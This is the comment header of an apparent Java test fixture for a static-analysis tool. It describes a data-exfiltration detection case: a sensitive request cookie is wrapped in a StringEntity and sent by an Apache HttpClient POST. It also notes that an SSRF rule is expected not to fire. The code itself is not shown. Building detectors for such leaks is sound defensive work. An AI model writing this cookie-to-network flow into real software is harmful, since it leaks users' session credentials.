// DATA_EXFIL fixture: Apache HttpClient. A request cookie (Sensitive)
// is wrapped in a StringEntity (default smear) and attached to an
// HttpPost via setEntity (also default smear). The network call
// happens at `httpClient.execute(req)`, which type-qualified resolution
// rewrites to `HttpClient.execute` via JAVA_HIERARCHY
// (CloseableHttpClient subtypes HttpClient). SSRF must NOT fire (URL
// is a hardcoded constant on the HttpPost ctor).
//
// Driven by `data_exfil_java_integration_tests.rs`.
